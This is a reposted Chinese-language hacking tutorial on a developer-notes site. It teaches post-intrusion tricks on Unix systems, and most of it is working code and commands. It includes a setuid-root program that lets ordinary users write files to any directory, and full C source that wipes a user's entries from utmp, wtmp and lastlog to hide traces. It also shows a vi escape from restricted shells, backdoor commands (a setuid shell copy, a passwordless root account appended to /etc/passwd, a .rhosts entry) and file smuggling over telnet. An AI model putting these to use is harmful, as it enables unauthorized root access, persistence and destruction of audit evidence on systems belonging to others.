热门标签 | HotTags
当前位置:  开发笔记 > 运维 > 正文

几个常用的入侵小技巧

文章标题:几个常用的入侵小技巧。Linux是中国IT实验室的一个技术频道。包含桌面应用,Linux系统管理,内核研究,嵌入式系统和开源等一些基本分类

  1 UPLOAD
  侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !
  root 状 态 下, 运 行 Install 后,
  upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
  # chmod 755 install
  #./install
  $ more install
  #! /bin/csh -f
  cc upload.c
  cp a.out upload
  chown root upload
  chmod 755 upload
  chmod u+s upload
  $ more upload.c
  #include
  main()
  {
  char filename[48];
  printf( "This program will upload up.txt ASCII file to specified file\n" );
  printf( "XXX Copyright Reserved\n" );
  printf( "Where to upload (include path and filename)? " );
  gets( filename );
  upload( filename );
  }
  int upload( filename )
  char *filename;
  {
  FILE *fp,*outp;
  char c;
  fp=fopen( "up.txt","r" );
  outp=fopen( filename,"w" );
  if( fp== NULL ) {
  printf( "file not exist." );
  return 0;
  }
  for( ;; ) {
  c= fgetc( fp );
  if feof( fp ) break;
  printf( "%c",c );
  fputc( c, outp );
  }
  fclose( fp );
  fclose( outp );
  return 1;
  }
  
  2 破坏现场
  进入系统后,出来以前怎么破坏现场?抹掉自己的脚印?
  
  编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
  请使用专门的编辑器
  
  例子:
  
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #define WTMP_NAME "/usr/adm/wtmp"
  #define UTMP_NAME "/etc/utmp"
  #define LASTLOG_NAME "/usr/adm/lastlog"
  
  int f;
  
  void kill_utmp(who)
  char *who;
  {
  struct utmp utmp_ent;
  
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  write (f, &utmp_ent, sizeof (utmp_ent));
  }
  close(f);
  }
  }
  
  void kill_wtmp(who)
  char *who;
  {
  struct utmp utmp_ent;
  long pos;
  
  pos = 1L;
  if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  
  while(pos != -1L) {
  lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  pos = -1L;
  } else {
  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof(struct utmp ));
  lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  write (f, &utmp_ent, sizeof (utmp_ent));
  pos = -1L;
  } else pos += 1L;
  }
  }
  close(f);
  }
  }
  
  void kill_lastlog(who)
  char *who;
  {
  struct passwd *pwd;
  struct lastlog newll;
  
  if ((pwd=getpwnam(who))!=NULL) {
  
  if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  bzero((char *)&newll,sizeof( newll ));
  write(f, (char *)&newll, sizeof( newll ));
  close(f);
  }
  
  } else printf("%s: ?\n",who);
  }
  
  main(argc,argv)
  int argc;
  char *argv[];
  {
  if (argc==2) {
  kill_lastlog(argv[1]);
  kill_wtmp(argv[1]);
  kill_utmp(argv[1]);
  printf("Zap2!\n");
  } else
  printf("Error.\n");
  }
  
  3 突破SHELL
  许多攻击系统的方法都需要攻击者首先有一个命令行式的Shell,如 /bin/csh 。但有些系统提供给用户的却是菜单式的定制Shell,如 pink 。所以如果你想攻击这个系统的话,首先必须要冲破这个定制shell。
  我们可以利用 vi (UNIX中标准的编辑器) 的一些命令来达到这个目的。具体过程如下:
  (1).在定制Shell中选择编辑文件,这时系统启动 vi。
  (2).在 vi 中,输入以下命令序列:(注意:输入的命令包括最前面的 ':' )
  :set shell=/bin/csh
  :shell
  3.这时,就像在DOS程序的File菜单中选择Dos Shell菜单项一样,系统启动一个Shell,而这个Shell刚刚被我们设定成 /bin/csh,因此我们就得到了一个命令行式的Unix Shell。
  
  4 后门
  进入一个系统以后随手留下一个后门确实是很好的习惯:) 这里介绍几种简单的后门设置方法:
  (1). setuid
  #cp /bin/sh /tmp/.backdoor
  #chmod u+s /tmp/.backdoor
  加上 suid 位到shell 上,最为简单方便.
  (2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd
  即给系统增加一个 id 为 0(root)的帐号,无口令.
  (3). echo "+ wyj">>/.rhosts
  即本地的名为wyj的用户可以直接 rlogin target 无须口令此时的wyj就相当于口令,不知道的人是不能进去的.前提是目标的port 512or513or514 opening.
  
  5 用telnet上传文件
  如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢?
  方法很简单:
  1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子:
  begin 644 file.bat
  M.C!J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT4%]J
  M95@T85!9+7@M04%28#!@*CTP,'500D])04%!049+04]"4$E$34-"04Q%04I-
  M3D-"2D%,24%!14U-3D-"1D5'24=&0T%%3D="1T1(0T=02$='2DA#2$9(1$-!
  M1TI(1$-!1T1'4$=.1TI'3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@
  M"D!%0TA/($]&1B`*0T]062`E,"Y"050@+T(@0SI<0D%45DE2+D-/32`O0B`O
  E62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@``
  `
  end
  sum -r/size 17903/262
  全部都是可见的ASCII字符了
  2.用TELNET连接到主机后输入
  $ cat >a
  然后用WINODWS的拷贝/粘贴,把文件粘贴到telnet窗口
  按^d
  在当前目录下产生文件a
  3.uudecode a
  文件复原,然后chmod即可
  
  
推荐阅读
  • Power Query中的删除错误/空值操作详解
    本文详细介绍了在Power Query中进行删除错误和删除空值的操作方法。首先通过转换数据选项将数据源导入到Power BI Desktop中,然后进入Power Query查询编辑器界面,将需要更换类型的字段转换为整数类型。对于出现Error值的字段,可以选择删除错误或替换错误指令进行操作。对于出现null值的数据,可以通过下拉筛选按钮勾选掉null进行删除。最终的操作结果如图所示。本文的内容旨在帮助读者学习Power Query中的删除错误和删除空值操作,并便于日后的数据处理和分析。 ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • Android Studio Bumblebee | 2021.1.1(大黄蜂版本使用介绍)
    本文介绍了Android Studio Bumblebee | 2021.1.1(大黄蜂版本)的使用方法和相关知识,包括Gradle的介绍、设备管理器的配置、无线调试、新版本问题等内容。同时还提供了更新版本的下载地址和启动页面截图。 ... [详细]
  • 微软发布OneNote for WordPress插件,支持一键从OneNote获取内容发布
    微软今日发布了OneNoteforWordPress插件,该插件支持从OneNote一键获取 ... [详细]
  • Pycharm编辑器取消双击shift弹出搜索框的方法
    在使用Pycharm编辑器时,双击shift会弹出搜索框界面,导致输入失去焦点,给用户带来不便。本文介绍了取消双击shift弹出搜索框的方法:在Pycharm中双击shift,输入registry并回车,找到“ide.suppress.double.click.handler”并勾选后,关闭即可解决该问题。通过这个方法,你再也不会被shift问题困扰了。 ... [详细]
  • 如何使用迅捷PDF编辑器给PDF文件设置全屏动画
    本文介绍了使用迅捷PDF编辑器给PDF文件设置全屏动画的方法,包括安装软件、添加PDF文件、设置动画效果和页面范围等步骤,帮助用户实现PDF文件的全屏动画效果。操作简单,适用于华为全屏等设备。 ... [详细]
  • 本文介绍了Linux系统中正则表达式的基础知识,包括正则表达式的简介、字符分类、普通字符和元字符的区别,以及在学习过程中需要注意的事项。同时提醒读者要注意正则表达式与通配符的区别,并给出了使用正则表达式时的一些建议。本文适合初学者了解Linux系统中的正则表达式,并提供了学习的参考资料。 ... [详细]
  • PDF内容编辑的两种小方法,你知道怎么操作吗?
    本文介绍了两种PDF内容编辑的方法:迅捷PDF编辑器和Adobe Acrobat DC。使用迅捷PDF编辑器,用户可以通过选择需要更改的文字内容并设置字体形式、大小和颜色来编辑PDF文件。而使用Adobe Acrobat DC,则可以通过在软件中点击编辑来编辑PDF文件。PDF文件的编辑可以帮助办公人员进行文件内容的修改和定制。 ... [详细]
  • 本文讨论了在PHP中将空格转换为问号的问题,并提供了解决方案。文章指出,空格不是标准的空格,而是特殊的0xC2 0xA0字符。作者尝试使用mb_convert_encoding函数将utf8字符串转换为gbk编码,但未成功。文章建议检查编辑器是否对空格进行了特殊处理,并提供了使用base64_encode函数打印结果的方法。最后,给出了完整的代码示例。 ... [详细]
  • 本文详细介绍了Vim编辑器中的三种模式(命令模式、末行模式和编辑模式)以及它们之间的操作区别和切换方法。Vim编辑器凭借其多种命令快捷键和高效率的操作方式,得到了广大厂商和用户的认可。对于想要高效操作文本的用户来说,了解这些模式的使用方法是必不可少的。 ... [详细]
  • 本文介绍了三种方法来关闭win7电脑开机硬盘自检,分别是使用命令提示符、注册表编辑器和bios设置界面。通过取消硬盘自检可以加快电脑启动速度。详细步骤和操作说明在正文中有详细介绍。 ... [详细]
  • Win7系统如何实现Ctrl+Alt+Del热键组合呼出任务管理器
    本文介绍了在Win7系统中如何通过组策略编辑器设置,实现Ctrl+Alt+Del热键组合呼出任务管理器的方法。通过删除原有的项目并设置呼出任务管理器,用户可以方便地使用Ctrl+Alt+Del热键组合来打开任务管理器。 ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • OC渲染器和阿诺德渲染器的特点及适用范围
    本文介绍了C4D软件自带的渲染器效果较差的问题,并推荐了四款C4D渲染器,其中包括OC渲染器和阿诺德渲染器。OC渲染器渲染速度快,简单易用,特别适合小团队和个人使用,而阿诺德渲染器具有超快的预览功能和真实的渲染效果,适合在体积光处理方面使用。两款渲染器都支持多个C4D版本和不同操作系统。 ... [详细]
  • 如何实现JDK版本的切换功能,解决开发环境冲突问题
    本文介绍了在开发过程中遇到JDK版本冲突的情况,以及如何通过修改环境变量实现JDK版本的切换功能,解决开发环境冲突的问题。通过合理的切换环境,可以更好地进行项目开发。同时,提醒读者注意不仅限于1.7和1.8版本的转换,还要适应不同项目和个人开发习惯的需求。 ... [详细]
author-avatar
tttt
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有